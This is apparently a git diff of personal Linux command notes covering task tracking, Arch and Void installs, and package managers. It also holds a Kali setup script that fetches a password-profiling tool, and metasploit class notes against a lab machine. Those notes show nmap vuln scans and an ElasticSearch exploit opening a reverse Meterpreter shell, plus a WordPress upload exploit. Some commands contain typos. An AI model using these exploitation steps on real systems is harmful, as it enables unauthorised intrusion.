Set three contexts by their tags: Set three contexts by their tags:
```bash > task context define *work +sa or +hr*
task context define work +sa or +hr
```
```bash > task context define *study +ed or +void or +rat*
task context define study +ed or +void or +rat
```
```bash > task context define *home -sa -hr -ed -void -rat*
task context define home -sa -hr -ed -void -rat
```
Change to the first context. Change to the first context.
```bash > task context *work*
task context work
```
Then stop. Then stop.
```bash > task context none
task context none
```
# Review # Review
View list of tasks completed in the last week: View list of tasks completed in the last week:
```bash > task end.after:today-1wk completed
task end.after:today-1wk completed
```
# User Defined Attributes # User Defined Attributes
Make a UDA 'size'. Make a UDA 'size'.
```bash > task config uda.size.type string
task config uda.size.type string
```
```bash > task config uda.size.label Size
task config uda.size.label Size
```
```bash > task config uda.size.values large,medium,small
task config uda.size.values large,medium,small
```
```bash > uda.size.default=medium
uda.size.default=medium
```
# Tricks # Tricks
This command shows tasks I'm most interested in: This command shows tasks I'm most interested in:
```bash > task next +ACTIVE or +OVERDUE or due:today or scheduled:today or pri:H
task next +ACTIVE or +OVERDUE or due:today or scheduled:today or pri:H
```
The command is long, so `alias` is your friend. The command is long, so `alias` is your friend.

View File

@ -6,88 +6,76 @@ tags: [ "Documentation", "Data" ]
Try: Try:
```bash > timew summary :yesterday
timew summary :yesterday
```
You can also use :week, :lastweek, :month, :quarter, :year, or a range such as: You can also use :week, :lastweek, :month, :quarter, :year, or a range such as:
```bash > timew summary today to tomorrow
timew summary today to tomorrow
timew today - tomorrow > timew today - tomorrow
2018-10-15T06:00 - 2018-10-17T06:00
``` > 2018-10-15T06:00 - 2018-10-17T06:00
Each of these can gain with the :ids tag. Each of these can gain with the :ids tag.
# Basics # Basics
```bash > timew start
timew start
timew stop > timew stop
timew continue
timew summary > timew continue
timew tags
``` > timew summary
> timew tags
And add ids with: And add ids with:
```bash > timew summary :ids
timew summary :ids
timew track 10am - 1pm timewarrior
timew track 1pm for 2h walk > timew track 10am - 1pm timewarrior
```
> timew track 1pm for 2h walk
# Adjusting Timewarrior # Adjusting Timewarrior
First get ids. First get ids.
```bash > timew summary :ids
timew summary :ids
```
Then if we're looking at task @2: Then if we're looking at task @2:
```bash > timew move @2 12:00
timew move @2 12:00
timew lengthen @2 3mins
```
```bash > timew lengthen @2 3mins
time shorten @2 40mins
``` > time shorten @2 40mins
# Forgetting # Forgetting
```bash > timew start 1h ago @4
timew start 1h ago @4
```
Or if your action actually had a break: Or if your action actually had a break:
```bash > timew split @8
timew split @8
```
Or maybe not? Or maybe not?
```bash > timew join @4 @8
timew join @4 @8
timew @8 delete > timew @8 delete
```
Start at previous time Start at previous time
```bash > timew start 3pm 'Read chapter 12'
timew start 3pm 'Read chapter 12'
timew start 90mins ago 'Read chapter 12' > timew start 90mins ago 'Read chapter 12'
```
Cancel currently tracked time. Cancel currently tracked time.
```bash > timew cancel
timew cancel
```
# Backdated tracking # Backdated tracking
@ -141,29 +129,25 @@ task end.after:today-1wk completed
Replace Replace
> os.system('timew start ' + combined + ' :yes') `os.system('timew start ' + combined + ' :yes')`
with: with:
> os.system('timew start ' + combined.decode() + ' :yes') `os.system('timew start ' + combined.decode() + ' :yes')`
and and
> os.system('timew stop ' + combined + ' :yes') `os.system('timew stop ' + combined + ' :yes')`
with: with:
> os.system('timew stop ' + combined.decode() + ' :yes') `os.system('timew stop ' + combined.decode() + ' :yes')`
# Fixing Errors # Fixing Errors
```bash > curl -O https://taskwarrior.org/download/timew-dbcorrection.py
curl -O https://taskwarrior.org/download/timew-dbcorrection.py
```
```bash > python timew-dbcorrections.py
python timew-dbcorrections.py
```
# Setup # Setup

View File

@ -4,9 +4,7 @@ tags: [ "Documentation", "browsers" ]
--- ---
Open a search tab: Open a search tab:
```bash > w3m ddg.gg
w3m ddg.gg
```
<Tab> then enter to start typing. <Tab> then enter to start typing.

View File

@ -7,9 +7,7 @@ tags: [ "Documentation", "Distros", "Arch" ]
Edit `/etc/systemd/system/getty@tty1.service.d/override.conf` by typing: Edit `/etc/systemd/system/getty@tty1.service.d/override.conf` by typing:
```bash > sudo systemctl edit getty@tty1
sudo systemctl edit getty@tty1
```
The put in the following, changing `[ USER ]` to your username. The put in the following, changing `[ USER ]` to your username.

View File

@ -4,150 +4,94 @@ tags: [ "Documentation", "arch" ]
--- ---
Keyboard layout changed. Keyboard layout changed.
```bash > ls /usr/share/kbd/keymaps/**/*.map.gz
ls /usr/share/kbd/keymaps/**/*.map.gz
```
```bash > loadkeys uk.map.gz
loadkeys uk.map.gz
```
Check if boot mode is UEFI Check if boot mode is UEFI
```bash > ls /sys/firmware/efi/efivars
ls /sys/firmware/efi/efivars
```
Without efivars, the system must boot with BIOS. Without efivars, the system must boot with BIOS.
# Check network's up # Check network's up
```bash > ping archlinux.org
ping archlinux.org
```
Set system clock properly Set system clock properly
```bash > timedatectl set-ntp true
timedatectl set-ntp true
```
Check disks Check disks
```bash > lsblk
lsblk
```
Make partition Make partition
```bash > parted -s /dev/sda mklabel gpt
parted -s /dev/sda mklabel gpt
```
```bash > parted -s /dev/sda mklabel msdos
parted -s /dev/sda mklabel msdos
```
```bash > parted -s /dev/sda mkpart primary ext4 512 100%
parted -s /dev/sda mkpart primary ext4 512 100%
```
```bash > parted -s /dev/sda set 1 boot on
parted -s /dev/sda set 1 boot on
```
```bash > mkfs.ext4 /dev/sda1
mkfs.ext4 /dev/sda1
```
Use pacstrap to get the base install. Use pacstrap to get the base install.
```bash > mount /dev/sda1 /mnt/
mount /dev/sda1 /mnt/
```
```bash > pacstrap /mnt base base-devel vim linux linux-firmware
pacstrap /mnt base base-devel vim linux linux-firmware
```
Make fstab notes for new system. Make fstab notes for new system.
```bash > genfstab -U /mnt >> /mnt/etc/fstab
genfstab -U /mnt >> /mnt/etc/fstab
```
```bash > arch-chroot /mnt
arch-chroot /mnt
```
```bash > echo 'en_GB.UTF-8' > /etc/default/locale
echo 'en_GB.UTF-8' > /etc/default/locale
```
```bash > pacman -Sy networkmanager grub
pacman -Sy networkmanager grub
```
For legacy: For legacy:
```bash > grub-install --target=i386-pc /dev/sda
grub-install --target=i386-pc /dev/sda
```
For EFI: For EFI:
```bash > sudo pacman -S efibootmgr
sudo pacman -S efibootmgr
```
```bash > mkdir /boot/efi
mkdir /boot/efi
```
```bash > grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
```
```bash > grub-mkconfig -o /boot/grub/grub.cfg
grub-mkconfig -o /boot/grub/grub.cfg
```
set local time set local time
```bash > ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
```
Find the desired locale's and uncomment them. Find the desired locale's and uncomment them.
```bash > vi /etc/locale.gen
vi /etc/locale.gen
```
```bash > locale-gen
locale-gen
```
Make your keyboard changes permenent with: Make your keyboard changes permenent with:
```bash > vi /etc/vconsole.conf
vi /etc/vconsole.conf
```
Then set: `KEYMAP=uk.map.gz` Then set: `KEYMAP=uk.map.gz`
unsure about this bit - is this name just for the loadkeys function? unsure about this bit - is this name just for the loadkeys function?
Make a hostname Make a hostname
```bash > echo pc > /etc/hostname
echo pc > /etc/hostname
```
Set hostnames for network, or at least your own. Set hostnames for network, or at least your own.
```bash > vi /etc/hosts
vi /etc/hosts
```
# This should have the following, at least: # This should have the following, at least:
@ -159,27 +103,17 @@ If the system has a permanent IP address, it should be used instead of localhost
Ping some sites to make sure the network's working Ping some sites to make sure the network's working
```bash > passwd
passwd
```
```bash > exit
exit
```
```bash > umount -R /mnt
umount -R /mnt
```
Remove that awful beep sound: Remove that awful beep sound:
```bash > rmmod pcspkr
rmmod pcspkr
```
...and make the change permanent: ...and make the change permanent:
```bash > sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
```

98
distros/arch/encrypted.md Normal file
View File

@ -0,0 +1,98 @@
---
title: "encrypted"
tags: [ "Documentation", "distros" ]
---
> # taken from https://0x00sec.org/t/arch-linux-with-lvm-on-luks-dm-crypt-disk-encryption-installation-guide-legacy-bios-system/1479
> # if you need wifi
> wifi-menu
> timedatectl set-ntp true
> fdisk -l
> parted /dev/sda
> (parted) mklabel msdos
> (parted) mkpart primary ext2 1MB 512MB
> (parted) mkpart primary ext4 512MB 100%
> (parted) print
> (parted) set 1 boot on
> (parted) quit
> fdisk -l
> cryptsetup luksFormat /dev/sda2
> # make a name. Here I use "crypt".
cryptsetup open /dev/sda2 crypt
> pvcreate /dev/mapper/crypt
> # now a group name - "usb"
> vgcreate usb /dev/mapper/crypt
> lvcreate -L 8GB usb -n swap
> lvcreaate -L 30G usb -n root
> lvcreate -l 100%FREE usb -n home
> mkfs.ext4 /dev/mapper/usb-home
mkfs.ext4 /dev/mapper/usb-root
> mkswap /dev/mapper/usb-swap
> mkfs.ext2 /dev/sda1
> mount /dev/mapper/usb-root /mnt
mkdir /mnt/home
> mount /dev/mapper/usb-home /mnt/home
mkdir /mnt/boot
> mount /dev/sda1 /mnt/boot
swapon /dev/mapper/usb-swap
pacstrap -i /mnt base base-devel efibootmgr grub
genfstab -U /mnt >> /mnt/etc/fstab
arch-chroot /mnt
############ new root #############
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
# uncomment en_GT.UTF-8
> vi /etc/locale.gen
> locale-gen
> # add `LANG=en_GB.UTF-8` to /etc/locale.conf
> vi /etc/locale.conf
> echo crypt > /etc/hostname
> # make sure keyboard encrypt lvm2 are on the list of HOOKS
> vi /etc/mkinitcpio.conf
> grub-install /dev/sda
> vi /etc/default/grub
edit the GRUB_CMDLINE_LINUX=""
`GRUB_CMDLINE_LINUX="cryptdevice=/dev/sda2:usb root=/dev/mapper/usb-root"`
> grub-mkconfig -o /boot/grub/grub.cfg
> mkinitcpio -p linux
> pacman -S wpa_supplicant dialog

View File

@ -6,20 +6,14 @@ tags: [ "Documentation", "distros" ]
Update font-cache: Update font-cache:
```bash > fc-cache
fc-cache
```
List fonts: List fonts:
```bash > fc-list
fc-list
```
Grab the part of the font name you need for Xresources: Grab the part of the font name you need for Xresources:
```bash > fc-list | cut -d: -f2
fc-list | cut -d: -f2
```
Add field 3 for styles. Add field 3 for styles.

View File

@ -13,17 +13,13 @@ Include = /etc/pacman.d/mirrorlist
And update: And update:
```bash > sudo pacman -Syu
sudo pacman -Syu
```
# Step 2: Check Card Manufacturer # Step 2: Check Card Manufacturer
Check your graphics card type: Check your graphics card type:
```bash > lspci | grep VGA
lspci | grep VGA
```
# Step 3: Install Drivers # Step 3: Install Drivers
@ -31,33 +27,23 @@ lspci | grep VGA
If you see `Nvidia`, then install the intel drivers: If you see `Nvidia`, then install the intel drivers:
```bash > sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
```
## Step 3B ## Step 3B
If you see `Intel`, then install the intel drivers: If you see `Intel`, then install the intel drivers:
```bash > sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
```
## Step 3C ## Step 3C
If you see `AMD`, then check your card support `vulkan`: If you see `AMD`, then check your card support `vulkan`:
```bash > yay -S gpu-viewer
yay -S gpu-viewer
```
```bash > vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
```
You should see 'true' here. You should see 'true' here.
```bash > sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
```

View File

@ -7,15 +7,11 @@ Packages are kept in /var/cache/pacman/pkg.
Delete unused old packages with: Delete unused old packages with:
```bash > sudo pacman -Sc
sudo pacman -Sc
```
Signatures are handled by the pacman-key, initially set up with: Signatures are handled by the pacman-key, initially set up with:
```bash > sudo pacman-key --populate archlinux
sudo pacman-key --populate archlinux
```
And refreshed with: And refreshed with:
@ -23,33 +19,23 @@ sudo pacman-key --refresh-keys
If you have usigned keys, you can refresh with: If you have usigned keys, you can refresh with:
```bash > sudo pacman -Sc
sudo pacman -Sc
```
or or
```bash > sudo pacman -Scc
sudo pacman -Scc
```
Reset all keys with: Reset all keys with:
```bash > sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
```
If you're constantly getting 'everything corrupted, nothing upgraded', try running: If you're constantly getting 'everything corrupted, nothing upgraded', try running:
```bash > sudo pacman -S archlinux-keyring
sudo pacman -S archlinux-keyring
```
List all orphaned packages: List all orphaned packages:
```bash > sudo pacman -Qtdq
sudo pacman -Qtdq
```
## Cleaning Config Files ## Cleaning Config Files

View File

@ -8,27 +8,17 @@ tags: [ "Documentation", "distros" ]
Messed up a package's configuration files? Messed up a package's configuration files?
```bash > sudo apt-get purge [thing]
sudo apt-get purge [thing]
```
```bash > sudo apt autoremove
sudo apt autoremove
```
Check if you still have related things: Check if you still have related things:
```bash > apt search [thing]
apt search [thing]
```
```bash > sudo apt-get install [ thing ]
sudo apt-get install [ thing ]
```
Still have problems? Still have problems?
```bash > sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
```

View File

@ -0,0 +1,90 @@
cd /usr/share/X11/xkb/symbols/
cp pc pc.bak
echo "pc backup copied - this isn't tested" >> ~/install.log
sed s/Caps_Lock/Escape/ pc > pc
cd
echo "deb https://dl.bintray.com/hawkeye116477/waterfox-deb release main" | sudo tee -a /etc/apt/sources.list
curl https://bintray.com/user/downloadSubjectPublicKey?username=hawkeye116477 | sudo apt-key add -
sudo apt-get update && sudo apt-get install waterfox
```
echo "deb http://http.kali.org/ /kali main contrib non-free
deb http://http.kali.org/ /wheezy main contrib non-free
deb http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali main contrib non-free
deb http://http.kali.org/kali kali main/debian-installer
deb-src http://http.kali.org/kali kali main contrib non-free
deb http://security.kali.org/kali-security kali/updates main contrib non-free
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free" >> /etc/apt/sources.list
```
setxkbmap gb
# gksudo firefox -install-global-extension addon-1865-latest.xpi
#install addon with cli
apt-get -y install openvpn
cd /etc/openvpn
sudo wget https://downloads.nordcdn.com/configs/archives/servers/ovpn.zip
unzip ovpn.zip
rm ovpn.zip
sudo apt-get install openvpn network-manager-openvpn network-manager-openvpn-gnome
wget https://github.com/maestrogerardo/i3-gaps-deb/archive/master.zip
echo "if you don't have openvpn options in your gnome desktop, this just isn't going to work. Get the openvpn manager, called 'openvpn-service-gnome' or some such" >> ~/*log
unzip ma*
rm ma*zip
cd i3-g*
sudo apt -y update;sudo apt -y upgrade
./i3*
cd
mv i3/ .config
sudo apt install feh compton ranger w3m cmus scrot
sudo apt install tor
wget https://github.com/dpayne/cli-visualizer/archive/master.zip
echo "If vis is playing funny-buggers, enter the install files and input the commands manually. May be an architecture problem as I don't have arm cpu" >> *log
unzip master.zip
rm master.zip
cd cli-vis*
apt install libfftw3-dev libncursesw5-dev libpulse-dev
./install.sh
cd
mkdir Images;mkdir Images/Wallpapers;mkdir Images/Screenshots
apt install -y encfs cmatrix cowsay
mkdir Tools
cd Tools
wget https://github.com/Mebus/cupp/archive/master.zip
unzip master.zip;rm master.zip
cd

128
distros/kali/metasploit.md Normal file
View File

@ -0,0 +1,128 @@
---
title: "metasploit"
tags: [ "Documentation", "distros" ]
---
> service postgresql start
> systemctl status postgresql
> msfdb init
start the metasploit
> msfconfole
show exploits
Examples:
> info exploit/something
> search cve:2019
## Basic theory
There are vulnerabilities and payloads.
Payloads would typically give us a shell on the remote system. Android, Linux and Windows require different shells.
You can attach via 'reverse' or 'bind'. A 'bind' is best, as the user opens a port, and you connect. Mostly, you have to use 'reverse', which opens a connection to you.
# Notes for Class
Victim: 172.18.3.26
> nmap -Pn -sV 172.18.3.26 --script=vuln
> nmap -Pn -sV 172.18.3.26
Output:
```
Service scan Timing: About 66.67% done; ETC: 15:28 (0:00:10 remaining)
Nmap scan report for 172.18.3.26
Host is up (0.016s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
4848/tcp open appserv-http?
8022/tcp open oa-system?
8080/tcp open http Sun GlassFish Open Source Edition 4.0
8383/tcp open ssl/m2mservices?
9200/tcp open tcpwrapped
49153/tcp open unknown
49154/tcp open unknown
49159/tcp open unknown
49161/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4848-TCP:V=7.80%I=7%D=9/14%Time=5D7D06F5%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,91,"HTTP/1\.1\x20302\x20Found\r\nLocation:\x20https://metasplo
SF:itable3-win2k8:4848/\r\nDate:\x20Sat,\x2014\x20Sep\x202019\x2015:27:44\
SF:x20GMT\r\nConnection:\x20close\r\nContent-Length:\x200\r\n\r\n");
MAC Address: D4:25:8B:B6:85:F5 (Intel Corporate)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```
Note this one:
`9200/tcp open tcpwrapped`
Apparently that's 'elasticsearch', so in metasploit we can do:
`search elasticsearch`
```
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/elasticsearch/indices_enum normal Yes ElasticSearch Indices Enumeration Utility
1 auxiliary/scanner/http/elasticsearch_traversal normal Yes ElasticSearch Snapshot API Directory Traversal
2 exploit/multi/elasticsearch/script_mvel_rce 2013-12-09 excellent Yes ElasticSearch Dynamic Script Arbitrary Java Execution
3 exploit/multi/elasticsearch/search_groovy_script 2015-02-11 excellent Yes ElasticSearch Search Groovy Sandbox Bypass
4 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
```
If you want to use 2, `use 2` or `use/multi/ela` then tab out.
> show options
> set rhost 172.18.3.26
The remote port's already set at this point.
We've so far done use, rhost, and port.
> exploit
```
[*] Started reverse TCP handler on 172.18.3.112:4444
[*] Trying to execute arbitrary Java...
[*] Discovering remote OS...
[+] Remote OS is 'Windows Server 2008 R2'
[*] Discovering TEMP path
[+] TEMP path identified: 'C:\Windows\TEMP\'
[*] Sending stage (53845 bytes) to 172.18.3.26
[*] Meterpreter session 1 opened (172.18.3.112:4444 -> 172.18.3.26:49311) at 2019-09-14 15:38:49 +0000
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\LXjUK.jar' on the target
```
> dir
# Next Wordpress
http://172.18.3.26:8585/wordpress/
Back to normal shell.
> search wordpress ninja
> use exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload

View File

@ -0,0 +1,8 @@
https://coldwallet.io/
https://www.it-vn.com/2019/07/configure-ssh-to-avoid-from-shodan-and.html
https://wickr.com
https://weleakinfo.com/

9
distros/partition.sh Normal file
View File

@ -0,0 +1,9 @@
#!/bin/bash
# run as root
[ -z $1 ] && echo set a disk && exit 1
parted /dev/sd$1 --script -- mklabel msdos
parted /dev/sd$1 --script -- mkpart primary 0 300M
parted /dev/sd$1 --script -- mkpart primary 300M 100%
mkfs.vfat /dev/sd"$1"1
mkfs.ext4 /dev/sd"$1"2

15
distros/redhat/npm.md Normal file
View File

@ -0,0 +1,15 @@
---
title: "npm"
tags: [ "Documentation", "Distros" ]
---
package.json is the basic configuration file.
Everything is per-directory.
> npm install x
This'll install x in the current directory.
> npm init
> npm install express --save

18
distros/redhat/yum.md Normal file
View File

@ -0,0 +1,18 @@
---
title: "yum"
tags: [ "Documentation", "Distros" ]
---
# Overview
> yum search [package]
> yum list openssh
> yum install [package1] [package2]
> yum check-updates
> yum update
> yum remove [package1] [package2]

View File

@ -5,11 +5,10 @@ tags: [ "Documentation", "Void" ]
Make the autologin service: Make the autologin service:
```bash > cp -R /etc/sv/agetty-tty1 /etc/sv/agetty-autologin-tty1
cp -R /etc/sv/agetty-tty1 /etc/sv/agetty-autologin-tty1
``` ```
```sh
if [ -x /sbin/agetty -o -x /bin/agetty ]; then if [ -x /sbin/agetty -o -x /bin/agetty ]; then
# util-linux specific settings # util-linux specific settings
if [ "${tty}" = "tty1" ]; then if [ "${tty}" = "tty1" ]; then
@ -25,7 +24,7 @@ TERM_NAME=linux
Then stick this at the end of the bashrc: Then stick this at the end of the bashrc:
```sh ```
# autologin on tty1 # autologin on tty1
if [ -z "$DISPLAY" ] && [ "$(fgconsole)" -eq 1 ]; then if [ -z "$DISPLAY" ] && [ "$(fgconsole)" -eq 1 ]; then
exec startx exec startx

View File

@ -4,19 +4,13 @@ tags: [ "Documentation", "Void" ]
--- ---
Monitor all processes: Monitor all processes:
```bash > extrace
extrace
```
Monitor one process: Monitor one process:
```bash > extrace ls
extrace ls
```
Monitor a script: Monitor a script:
```bash > ./script.sh | extrace
./script.sh | extrace
```

View File

@ -1,30 +0,0 @@
---
title: "jenkins"
tags: [ "void", "build" ]
---
# Jenkins on Void
Jenkins is janky.
## Start
Start the service file.
```bash
sudo ln -s /etc/sv/jenkins /var/service
sudo sv start jenkins
```
Then visit the web interface with `$BROWSER localhost:8080`.
If it's not working, try running the command from the run file the first time:
```bash
chpst -u jenkins java -jar /opt/jenkins/jenkins.war
```
## Updating
Jenkins will not work if out of date.
You will be prompted to update by downloading a `jenkins.war` file.
Download it, then stop the service, and move the file to `/opt/jenkins/jenkins.war`, then start the service again.

View File

@ -6,49 +6,35 @@ tags: [ "Documentation", "Void" ]
All possible services are in: All possible services are in:
```bash > ls /etc/sv
ls /etc/sv
```
The computer only uses those in /var/service, so symbolic links are made to start and stop services. The computer only uses those in /var/service, so symbolic links are made to start and stop services.
```bash > ls /var/service
ls /var/service
```
# Start Services # Start Services
Enable the sshd service, so that ssh will work every time you boot up: Enable the sshd service, so that ssh will work every time you boot up:
```bash > sudo ln -s /etc/sv/sshd /var/service
sudo ln -s /etc/sv/sshd /var/service
```
Then start the service: Then start the service:
```bash > sudo sv start sshd
sudo sv start sshd
```
# Stop Services # Stop Services
Stop `mpd` with: Stop `mpd` with:
```bash > sudo sv stop mpd
sudo sv stop mpd
```
And stop it automatically loading at startup with: And stop it automatically loading at startup with:
```bash > sudo rm /var/service/mpd
sudo rm /var/service/mpd
```
You can also just make a file called 'down': You can also just make a file called 'down':
```bash > sudo touch /var/service/mpd/down
sudo touch /var/service/mpd/down
```
This means you can start and stop the service without making symbolic links, but mpd will be 'down' when the computer starts. This means you can start and stop the service without making symbolic links, but mpd will be 'down' when the computer starts.
@ -63,7 +49,5 @@ If unsure, use `#!/bin/bash` as the first line. When Void Linux says `sh`, it m
Confirm the shell you'll use: Confirm the shell you'll use:
```bash > ls -l $(which sh)
ls -l $(which sh)
```

View File

@ -1,13 +0,0 @@
#!/bin/sh
# get the void linux logo from wikipedia
wget https://upload.wikimedia.org/wikipedia/commons/thumb/0/02/Void_Linux_logo.svg/256px-Void_Linux_logo.svg.png?20170131170632
# rename it, and resize it (the standard size is too small for most wallpapers)
convert -resize 200% '256px-Void_Linux_logo.svg.png?20170131170632' void-logo.png
# download a pretty wallpaper
wget http://wallpapercave.com/wp/Wlm9Gv0.jpg
# put the void logo on all *jpg and *png images
for x in *.jpg
do
composite -compose multiply -gravity Center void-logo.png "$x" "$x"
done

View File

@ -6,9 +6,7 @@ tags: [ "Documentation", "Void" ]
Update all packages with Update all packages with
```bash > sudo xbps-install -Su
sudo xbps-install -Su
```
See [xbps](xbps.md) for more. See [xbps](xbps.md) for more.
@ -17,29 +15,21 @@ See [xbps](xbps.md) for more.
Void keeps *every* version of everything you install, so you can roll back to them. Void keeps *every* version of everything you install, so you can roll back to them.
Remove old packages with: Remove old packages with:
```bash > sudo xbps-remove -O
sudo xbps-remove -O
```
# vkpurge # vkpurge
Old Void kernels are left on the boot partition. List them with: Old Void kernels are left on the boot partition. List them with:
```bash > vkpurge list
vkpurge list
```
Remove one with: Remove one with:
```bash > vkpurge 2.8.2_4
vkpurge 2.8.2_4
```
Remove all but the latest with: Remove all but the latest with:
```bash > vkpurge rm all
vkpurge rm all
```
# Brightness # Brightness
@ -48,10 +38,9 @@ You can change this number to change the screen brightness.
For an easy utility, install `brightnessctl`. For an easy utility, install `brightnessctl`.
```bash > brightnessctl s 10%-
brightnessctl s 10%-
brightnessctl s 10%+ > brightnessctl s 10%+
```
# Other Tricks # Other Tricks

View File

@ -6,87 +6,61 @@ tags: [ "Documentation", "Void" ]
Look for cowsay in the repository: Look for cowsay in the repository:
```bash > xbps-query --repository --search cowsay
xbps-query --repository --search cowsay
```
Short version: Short version:
```bash > xbps-query -Rs cowsay
xbps-query -Rs cowsay
```
Search with regex: Search with regex:
```bash > xbps-query --regex -Rs 'cow(s)?\w'
xbps-query --regex -Rs 'cow(s)?\w'
```
List what's required for cowsay List what's required for cowsay
```bash > xbps-query -x cowsay
xbps-query -x cowsay
```
What packages are orphaned (i.e. installed as a dependency for another package, which has since been removed)? What packages are orphaned (i.e. installed as a dependency for another package, which has since been removed)?
```bash > xbps-query -O
xbps-query -O
```
Show cowsay's dependencies. Show cowsay's dependencies.
```bash > xbps-query -x cowsay
xbps-query -x cowsay
```
This shows `perl`. This shows `perl`.
To see what else depends on perl: To see what else depends on perl:
```bash > xbps-query -X perl
xbps-query -X perl
```
List all manually installed software. List all manually installed software.
```bash > xbps-query -m
xbps-query -m
```
## Install ## Install
Install cowsay Install cowsay
```bash > xbps-install cowsay
xbps-install cowsay
```
Upgrade current packages. Upgrade current packages.
`-R` looks at repositories, `-s` makes a sloppy search (for rough matches). `-R` looks at repositories, `-s` makes a sloppy search (for rough matches).
```bash > xbps-install -Suv
xbps-install -Suv
```
## Remove/ Uninstall ## Remove/ Uninstall
Remove cowsay Remove cowsay
```bash > xbps-remove cowsay
xbps-remove cowsay
```
...and all dependencies ...and all dependencies
```bash > xbps-remove -R cowsay
xbps-remove -R cowsay
```
Remove all orphaned dependencies. Remove all orphaned dependencies.
```bash > xbps-remove -o
xbps-remove -o
```
Show information about cowsay Show information about cowsay
@ -94,19 +68,13 @@ Show information about cowsay
Reinstall cowsay Reinstall cowsay
```bash > xbps-install -f cowsay
xbps-install -f cowsay
```
Look for broken packages. Look for broken packages.
```bash > sudo xbps-pkgdb -a
sudo xbps-pkgdb -a
```
And if you've found any, you might reconfigure all packages forcefully: And if you've found any, you might reconfigure all packages forcefully:
```bash > sudo xbps-reconfigure -af
sudo xbps-reconfigure -af
```

View File

@ -3,8 +3,6 @@ title: "brightness"
tags: [ "Documentation", "hardware" ] tags: [ "Documentation", "hardware" ]
--- ---
# Brightness # Brightness
/sys/class/backlight/*/brightness
Edit this file:
> /sys/class/backlight/*/brightness

View File

@ -6,15 +6,11 @@ tags: [ "Documentation", "keyboard" ]
Set layout to British English. Set layout to British English.
```bash > setxkbmap -layout gb
setxkbmap -layout gb
```
Or Polish with: Or Polish with:
```bash > setxkbmap -layout pl
setxkbmap -layout pl
```
| Language | short | | Language | short |
|:--------|:------| |:--------|:------|
@ -23,9 +19,7 @@ setxkbmap -layout pl
Set 'alt + shift', as the command which cycles through the British English, Polish and Serbian keyboard layout. Set 'alt + shift', as the command which cycles through the British English, Polish and Serbian keyboard layout.
```bash > setxkbmap -layout gb,pl,rs -option grp:alt_shift_toggle
setxkbmap -layout gb,pl,rs -option grp:alt_shift_toggle
```
## Alt_GR ## Alt_GR
@ -39,30 +33,22 @@ Remap, e.g., the right Windows key, to Alt_Gr.
Copy your keymap, e.g. if it's polish-1, then: Copy your keymap, e.g. if it's polish-1, then:
```bash > cp /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz /usr/share/kbd/keymaps/*custom*.map.gz
cp /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz /usr/share/kbd/keymaps/*custom*.map.gz
```
Then change that map: Then change that map:
```bash > sudo vim /usr/share/kbd/keymaps/custom.map.gz
sudo vim /usr/share/kbd/keymaps/custom.map.gz
```
--- ---
You can switch Escape and Caps Lock with a single line: You can switch Escape and Caps Lock with a single line:
```bash > sudo sh -c "gunzip -c /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz | sed 's/ Escape/ PLACEHOLDER/ ; s/Caps_Lock/Escape/g ; s/PLACEHOLDER/Caps_Lock/' | gzip > /usr/share/kbd/keymaps/custom.map.gz"
sudo sh -c "gunzip -c /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz | sed 's/ Escape/ PLACEHOLDER/ ; s/Caps_Lock/Escape/g ; s/PLACEHOLDER/Caps_Lock/' | gzip > /usr/share/kbd/keymaps/custom.map.gz"
```
--- ---
Change the default keyboard mapping to the custom map: Change the default keyboard mapping to the custom map:
```bash > echo 'KEYMAP="/usr/share/kbd/keymaps/*custom*.map.gz"' | sudo tee /etc/vconsole.conf
